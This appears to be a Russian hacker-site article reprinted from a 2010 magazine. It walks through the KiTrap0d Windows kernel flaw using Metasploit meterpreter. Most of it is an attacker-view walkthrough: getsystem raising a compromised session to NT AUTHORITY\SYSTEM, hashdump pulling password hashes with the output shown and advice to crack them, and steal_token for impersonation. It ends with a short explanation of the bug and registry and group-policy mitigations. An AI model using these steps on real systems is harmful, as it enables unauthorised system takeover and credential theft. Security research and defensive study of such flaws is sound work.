| RSS



Меню

Bookmark and Share


Статистика
Ваш IP: 18.119.104.238
Вы используете: v





Сейчас на сайте:

Тех поддержка ->

Облако тэгов
ОС видио Tor Обратная сторона антенна 4.6 PHP Эксплоит Windows Server 2008 qip Virtual chroot kernel proc sysctl tune FreeBSD bridge Boot Disk Bluetooth GEO game directx Emulator Python Shell DDoS червь Conficker вирус троян Лаборатория Касперского пиратство apple iPhone ИТ-отрасль Щеголев Microsoft экономический кризис Twitter социальная сеть анонимность Лицензия Open Source ASP.NET MVC уязвимость MySQL база данных файлообмен закон франция пират Skype мобильный Deutsche Telekom Хакер киберпреступник Trend Micro кибератака Германия робот утечка данных персональные данные ноутбук интернет Китай цензура ядро Linux Торвальдс Windows Vista Acer Linux патент браузер Firefox Internet Explorer Opera Net Applications Safari Intel Linux Foundation Moblin Oracle патч банкомат кардер HSM IBM X-Force Cofee сша кибервойна Эстония Dell ИТ-специалист хакерские атаки Pirate Bay контроль кибербезопасность язык программирования The Pirate Bay Пиратская партия утечка информации приговор Mozilla Chrome безопасность Госдума СМИ Windows 8 Баллмер взлом Пентагон ботнет Украина Facebook Cisco cloud Windows XP нетбук торрент музыка биометрический nokia ФБР IP-адрес CIPAV Comcast sms RSA java Google CAPTCHA Symantec спам конфиденциальная информация инсайдер Perimetrix антивирус тест Anti-Malware Windows 7 операционная система Windows провайдер авторское право RapidShare UNIX свиной грипп шантаж дети EFF BluWiki копирайт экстремизм Panda Security cloud computing McAfee Cybercrime Response Unit Bottle Domains HTTPS ICANN студент шпионское ПО Норвегия школьник New York Times XSS YouTube Warner Music кибершпионаж КНДР Ubuntu свободное ПО AMD ATI касперский Россия РФ сервер хостинг фальшивый антивирус Comodo CA Wi-Fi D-Link суд пароль блог фишинг Одноклассники медведев контрафакт мошенник штраф Sony GPS по Gumblar JAVASCRIPT хакеры вредоносное ПО Yahoo ФАС компьютер Софт MPAA кибероружие PandaLabs Red Hat Минкомсвязи сбой ASUSTeK Computer мошенничество Доктор Веб ВКонтакте Cyber-Arc исходный код PCI DSS МВД фильтр порнография BREIN свобода слова Казахстан GEMA Autodesk сисадмин Gmail кредитная карта кибермошенник LiveJournal шифрование криптография Deep Purple банк нанотехнологии Wikipedia zero-day ColdFusion выборы кража данных DNS BIND Android BASIC атака Black Hat Mac OS X Click Forensics Clampi домен фсб Прокуратура Уголовное дело icq Barrelfish киберпреступность Sophos AT&T ошибка Electa Gamma Knife OpenBSD DARPA военные Сайт Visual Studio 2010 .NET Framework 4 Chrome OS электронная почта турция конференция спамер FTC полиция российская ОС Koobface Великобритания БЕЛОРУССИЯ грузия BSA Bittorrent облачные вычисления Azure Европа Dr.Web Билл Гейтс спецслужбы Cryzip Живой Журнал Royal Bank of Scotland смартфон Canonical Pwn2Own F-Secure Symbian Hotmail фильм

Главная » Статьи » Общие Статьи

повышаем привилегии до NT AUTHORITY\SYSTEM в любой версии Windows

Благодаря новой команде getsystem, на скомпрометированной системе стало возможно перейти из User Level в ring0, получив права NT AUTHORITY\SYSTEM! И это - в любых версиях винды.

19 января 2010 года стала публичной 0-day уязвимость, позволяющая выполнить повышение привилегий в любой версии Windows, начиная от NT 3.1, выпущенной в еще в 1993 году, и заканчивая новомодной "семеркой". На exploit-db.com хакером Tavis Ormandy были опубликованы как исходники сплоита KiTrap0d, так и скомпилированный бинарник, готовый к применению. Опробовать оригинальный сплоит может любой желающий. Для этого нужно лишь извлечь из архива vdmexploit.dll и vdmallowed.exe, каким-либо образом передать на машину-жертву, и там запустить exe-шник. В результате, независимо от того, под аккаунтом какого пользователя выполнен запуск, появится консоль с привилегиями системного пользователя, то есть NT AUTHORITY\SYSTEM. Проверки ради можно запустить сплоит на своей машине, предварительно залогинившись в систему под обычным пользователем. После запуска сплоита откроется новое окно cmd.exe с максимальными привилегиями.

Что это дает? Представь ситуацию, что сплоит пробивает некоторое приложение и получает шелл на удаленном компьютере. Пускай это будет сплоит для Internet Explorer - в этом случае у взломщика на руках будет доступ к системе с правами того пользователя, под учеткой которого был запущен браузер. Не спорю, очень часто это будет аккаунт с правами администратора (пользователь сам виноват), но если нет? Вот здесь-то и можно заюзать KiTrap0d, чтобы поднять свои привилегии до NT AUTHORITY\SYSTEM! Мало того, даже те пользователи, которые входят в группу администратора, не могут обращаться к некоторым участкам системы, например, для чтения хешей паролей пользователей (об этом ниже). А NT системный акаунт - может! При всем этом, на момент публикации статьи ни одного патча со стороны Microsoft, закрывающего уязвимость, выпущено не было.

Операция "Захват системы"

Демонстрировать в действии оригинальный сплоит мы не будем, потому как 25 января в Metasploit был добавлен новый скрипт, благодаря которому использовать KiTrap0d стало еще удобнее. Первоначально попавший в базы модулей вариант был нестабилен и срабатывал не всегда, но не прошло и полдня, как все ошибки были устранены. Сейчас модуль закачивается вместе со всеми остальными обновлениями, так что для установки достаточно выбрать пункт в меню "Metasploit update". Теперь, имея доступ к удаленной системе, можно набрать "run kitrap0d" и привести сплоит в действие. "Но раз пошла такая пьянка, реализуем-ка мы для этого дела специальную команду", - подумали разработчики Metasploit. В результате получилась замечательная такая команда "повысить привилегии", доступная через расширение meterpreter, - нам она очень нравится :).

Итак, у нас есть доступ к удаленной системе (наглядный пример эксплуатирования приведен в статье "Операция "Аврора") и мы находимся в консоли метасплоита. Посмотрим, как у нас обстоят дела с правами:

meterpreter > getuid
Server username: WINXPSP3\user

Ага, обычный пользователь. Быть может, он даже входит в группу администраторов, но нам это не важно. Подключаем модуль, в котором реализована интересующая нас команда getsystem, и проверим, погрузилась ли она, отобразив на экране справку:

meterpreter > use priv
Loading extension priv...success.
meterpreter > getsystem -h
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:

-h Help Banner.
-t The technique to use. (Default to '0').
0 : All techniques available
1 : Service - Named Pipe Impersonation (In Memory/Admin)
2 : Service - Named Pipe Impersonation (Dropper/Admin)
3 : Service - Token Duplication (In Memory/Admin)
4 : Exploit - KiTrap0D (In Memory/User)

Как видно, сплоит KiTrap0D реализует лишь часть функциональности команды. Если тебе удалось отхватить шелл с пользователем, у которого уже есть права администратора, то для поднятия до уровня NT AUTHORITY\SYSTEM можно использовать три другие техники (выбрать нужную позволяет ключ -t). Так или иначе, не указав вообще никаких параметров, мы укажем метасплоиту, что тот может использовать любой из подходов. В том числе и KiTrap0D, что повысит наши привилегии до уровня "Система", какими бы правами мы сейчас ни обладали.

meterpreter > getsystem
...got system (via technique 4).

Ага, получили сообщение об успешном повышении привилегий, причем для атаки использовался именно KiTrap0D - видимо, у него приоритет. Действительно ли мы поднялись в системе? Проверим наш текущий UID (идентификатор пользователя):

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Есть! Всего одна команда в консоли метасплоита и права NT AUTHORITY\SYSTEM у нас в кармане. Далее, вообще говоря, можно все. При этом напомню, ни одного патча от Microsoft на момент выхода журнала еще не было.

Дампим пароли

Раз уж на руках есть доступ к системному аккаунту, то надо извлечь из этого что-нибудь полезное. В арсенале Metasploit есть замечательная команда hashdump — более продвинутая версия известной утилиты pwdump. Более того, в последней версии метасплоита включен переработанный вариант скрипта, который использует модернизированный принцип извлечения LANMAN/NTLM хешей и пока не детектируется антивирусами. Но смысл не в этом. Важно, что для выполнения команды hashdump необходимы права NT AUTHORITY\SYSTEM. В противном случае программа выдаст ошибку "[-] priv_passwd_get_sam_hashes: Operation failed: 87". Происходит это потому, что LANMAN/NTLM-хеши паролей пользователей хранит в специальных ветвях реестра HKEY_LOCAL_MACHINE\SAM и HKEY_LOCAL_MACHINE\SECURITY, которые недоступны даже администраторам. Их можно прочитать только с привилегиями системного аккаунта. Вообще говоря, использовать сплоит и затем команду hashdump для того, чтобы локально извлечь из реестра хеша, совсем не обязательно. Но если такая возможность есть, почему бы и нет?

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > run hashdump
[*] Obtaining the boot key...
[*] Calculating the hboot key using SYSKEY 3ed7[...]
[*] Obtaining the user list and keys...
[*] Decrypting user keys...
[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b435b51404ee:...
Guest:501:aad3b435b51404eeaad3b435b51404ee:...
HelpAssistant:1000:ce909bd50f46021bf4aa40680422f646:...

Хеши получены. Остается скормить их какому-нибудь из брутфорсеров, например, l0phtcrack.

Как вернуть привилегии?

Забавная ситуация произошла, когда я попытался вернуть права обычного пользователя обратно. Найденная команда rev2self не срабатывала, и я по-прежнему оставался "NT AUTHORITY\SYSTEM": видимо, она предназначена для работы с тремя другими подходами, реализованными в getsystem. Оказалось, чтобы вернуть привилегии, необходимо "украсть" токен процесса, запущенного тем пользователем, который нам нужен. Поэтому отображаем все процессы командой ps и выбираем из них подходящий:

meterpreter > ps
Process list
============
PID Name Arch User Path
--- ---- ---- ---- ----
0 [System Process]
4 System x86 NT AUTHORITY\SYSTEM
370 smss.exe x86 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe
...
1558 explorer.exe x86 WINXPSP3\user C:\WINDOWS\Explorer.EXE
...

Как мы видим, explorer.exe запущен как раз под обычным пользовательским аккаунтом и имеет PID=1560. Теперь, собственно, можно и "украть токен", заюзав команду steal_token. В качестве единственного параметра ей передается PID нужного процесса:

meterpreter > steal_token 1558
Stolen token with username: WINXPSP3\user
meterpreter > getuid
Server username: WINXPSP3\user

Судя по полю "Server username", операция выполнилась успешно.

Как это работает?

Напоследок стоит рассказать о природе уязвимости, приведшей к появлению сплоита. Брешь в защите возникает по вине ошибки в обработчике системного прерывания #GP (который называется, nt!KiTrap). Из-за нее с привилегиями ядра может быть выполнен произвольный код. Это происходит, потому что система неправильно проверяет некоторые вызовы BIOS'а, когда на 32-битной x86-платформе выполняется 16-битное приложение. Для эксплуатации уязвимости сплоит создает 16-битное приложение (%windir% \twunk_16.exe), манипулирует с некоторыми системными структурами и вызывает функцию NtVdmControl(), чтобы стартовать Windows Virtual DOS Machine (aka подсистма NTVDM), что в результате предыдущих манипуляций приводит к вызову обработчика системного прерывания #GP и срабатыванию сплоита. Кстати говоря, отсюда вытекает и единственное ограничение сплоита, который срабатывает только на 32-битных системах. В 64-битных операционках банально нет эмулятора для запуска 16-битных приложений.

Почему информация с готовым сплоитом попала в публичный доступ? О наличии уязвимости автор сплоита информировал Microsoft еще в начале прошлого года и даже получил подтверждение, что его отчет был принят к рассмотрению. Только воз и ныне там. За год официального патча от компании не последовало, и автор решил опубликовать информацию публично, надеясь, что дело пойдет быстрее. Посмотрим, выйдет ли заплатка к моменту появления журнала в продаже :)?

Как обезопасить себя от сплоита

Поскольку полноценного обновления для решения уязвимости пока нет, придется воспользоваться обходными путями. Самый надежный вариант - отключить MSDOS и WOWEXEC подсистемы, что сразу лишит сплоит функциональности, т.к. он больше не сможет вызывать функцию NtVdmControl() для запуска NTVDM-системы. В старых версиях Windows это реализуется через реестр, в котором нужно найти ветку HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\WOW и добавить какой-нибудь символ к ее названию. Для современных ОС устанавливать ограничение на запуск 16-битных приложений надо через групповые политики. Для этого вызываем GPEDIT.MSC, далее переходим в раздел "Конфигурация пользователя/Административные шаблоны/Компоненты Windows/Совместимость приложений" и активируем опцию "Запрещение доступа к 16-разрядным приложениям".

WWW

Описание уязвимости от автора сплоита:
http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0346.html

Временное решение для устранения проблемы от Microsoft:
http://support.microsoft.com/kb/979682

Категория: Общие Статьи | Добавил: aka_kludge (11.06.2010)
Просмотров: 4550 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
    Главная      
...
На службе : дней

08:04
Обновить


Пользователи
aka_kludge
qwerty
LeadyTOR
aka_Atlantis
AdHErENt
mAss
Sissutr
hiss
DrBio
tHick

Поиск


Copyright tHR - TeAM 2024 г. admin: aka_kludge (ICQ:334449009) Moderator's: LeadyTOR, ... Яндекс.Метрика